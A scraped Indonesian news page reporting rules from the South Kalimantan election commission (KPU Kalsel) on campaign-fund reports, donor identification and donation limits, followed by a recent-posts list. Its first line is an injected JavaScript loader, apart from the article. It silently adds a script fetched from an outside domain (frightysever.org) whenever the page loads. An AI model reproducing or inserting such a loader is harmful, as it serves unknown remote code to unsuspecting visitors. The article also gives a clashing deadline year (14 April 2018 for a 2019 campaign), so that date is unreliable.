(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Politik

Laporan Pemberi Dana Kampanye Wajib Cantumkan Identitas


BANJARMASIN, Ada tiga jenis laporan dana kampanye terkait dengan Pemilu, baik Pemilu Presiden maupun Pemilu Legislatif. Tiga jenis laporan tersebut adalah laporan awal dana kampanye, laporan sumbangan dana kampanye, dan laporan akhir dana kampanye, begitu yang dijelaskan oleh salah satu perwakilan Divisi Teknis KPU Kalsel.
Laporan awal dana kampanye, disertai dengan laporan sumbangan dana kampanye diserahkan ke KPU paling lambat satu hari sebelum pelaksanaan kampanye, yaitu 22 September 2018.

Sementara laporan akhir dana kampanye, diserahkan ke KPU satu hari setelah berakhirnya masa kampanye, yaitu 14 April 2018.

Komisioner KPU Kalsel Divisi Hukum dan Pengawasan Nurzazin menerangkan, sumbangan dana kampanye yang dilaporkan pada saat tahapan laporan penerimaan dan pengeluaran dana kampanye (LPPDK) di 13 April 2019 nanti, wajib mencantuman identitas penyumbang.

Pemberi wajib menyertakan fotokopi KTP, NPWP hingga surat pernyataan menyumbang. “Harus rinci. Yang menyumbangkan dana untuk kampanye harus mencantumkan identitasnya dengan jelas. Tak boleh mencantumkan nama Hamba Allah apalagi no name (NN),” jelasnya.

Sesuai aturan, KPU telah menetapkan besaran sumbangan yang boleh diterima Parpol dari perorangan, kelompok, perusahaan atau badan usaha non pemerintah.
Jumlah sumbangan yang diterima mereka dibatasi. Untuk sumbangan dari pihak perorangan besaran maksimal mencapai Rp 2,5 miliar. Sementara dari kelompok atau badan usaha non-pemerintah jumlah maksimal Rp 25 miliar.

Sedangkan sumbangan untuk calon anggota DPD dari perorangan, maksimal Rp 750 juta dan kelompok, perusahaan atau badan usaha non pemerintah mencapai Rp1,5 miliar.

Ada pun Laporan Awal Dana Kampanye Peserta Pemilu yang diterima, jumlah pengeluaran, dan saldo awal Dana Kampanye Peserta Pemilu sebagaimana yang terlampir 28 September 2018 serta Laporan Penerimaan Sumbangan Dana Kampanye Peserta Pemilu yang diterima 3 Januari 2019 lalu bisa dilihat di tabel. (mario)

Reporter:Mario
Editor:Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

Wacana Pilkada Melalui DPRD, BEM SI Kalsel: Kemunduran Demokrasi

KANALKALIMANTAN.COM, BANJARMASIN — Badan Eksekutif Mahasiswa (BEM) Seluruh Indonesia (SI) Kalimantan Selatan (Kalsel) menyatakan sikap… Read More

3 jam ago

Disperkim Kalsel Tegaskan Komitmen Hunian Layak untuk Masyarakat

KANALKALIMANTAN.COM, BANJARBARU - Dinas Perumahan Rakyat dan Kawasan Permukiman (Disperkim) Provinsi Kalimantan Selatan (Kalsel) menegaskan… Read More

6 jam ago

Satu Suara, Pilkada Lewat DPRD BEM SI Kalsel Sepakat Menolak

KANALKALIMANTAN.COM, BANJARMASIN – Wacana Pemilihan Kepala Daerah (Pilkada) melalui Dewan Perwakilan Rakyat Daerah (DPRD) menuai… Read More

6 jam ago

Pascabanjir Bandang Balangan 48 Rumah Mulai Diperbaiki

KANALKALIMANTAN.COM, PARINGIN – Pekan pertama masa pemulihan pascabanjir di Kabupaten Balangan, sejumlah perbaikan sudah mulai… Read More

6 jam ago

Serah Terima Aset Pemkab Kapuas – Kejari, Bupati Wiyatno: Lahan akan Dijadikan Taman

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten (Pemkab) Kapuas dan Kejaksaan Negeri (Kejari) Kapuas melakukan serah… Read More

10 jam ago

Memperkuat Iman Peringati Isra Mikraj Warga Binaan Rutan Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Warga binaan Rumah Tahanan Negara (Rutan) Kelas II B Kapuas berkumpul… Read More

10 jam ago

This website uses cookies.